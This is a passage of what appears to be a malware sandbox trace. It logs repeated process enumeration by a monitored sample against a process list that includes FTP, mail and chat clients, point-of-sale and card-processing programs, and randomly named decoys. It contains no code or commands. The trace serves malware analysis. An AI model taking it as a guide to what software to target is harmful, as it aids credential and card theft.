pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0249.834] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0249.836] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0249.839] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0249.841] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0249.844] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0249.846] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0249.849] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0249.851] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0249.853] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0249.855] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0249.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0249.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0249.926] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0249.928] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0249.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0249.932] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0249.934] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0249.935] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0249.937] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0249.938] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0249.940] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0249.942] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0249.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0249.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0249.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0249.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0249.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0249.954] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0249.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0249.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0249.969] CloseHandle (hObject=0x13b0) returned 1 [0249.969] Sleep (dwMilliseconds=0x64) [0250.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0250.035] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.039] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.047] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.049] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.051] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.062] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.114] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.116] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.118] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.120] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.122] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.132] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.134] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.136] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.138] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.140] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.142] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0250.237] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0250.240] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0250.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0250.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0250.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0250.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0250.346] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0250.349] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0250.351] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0250.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0250.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0250.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0250.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0250.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0250.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0250.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0250.367] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0250.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0250.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 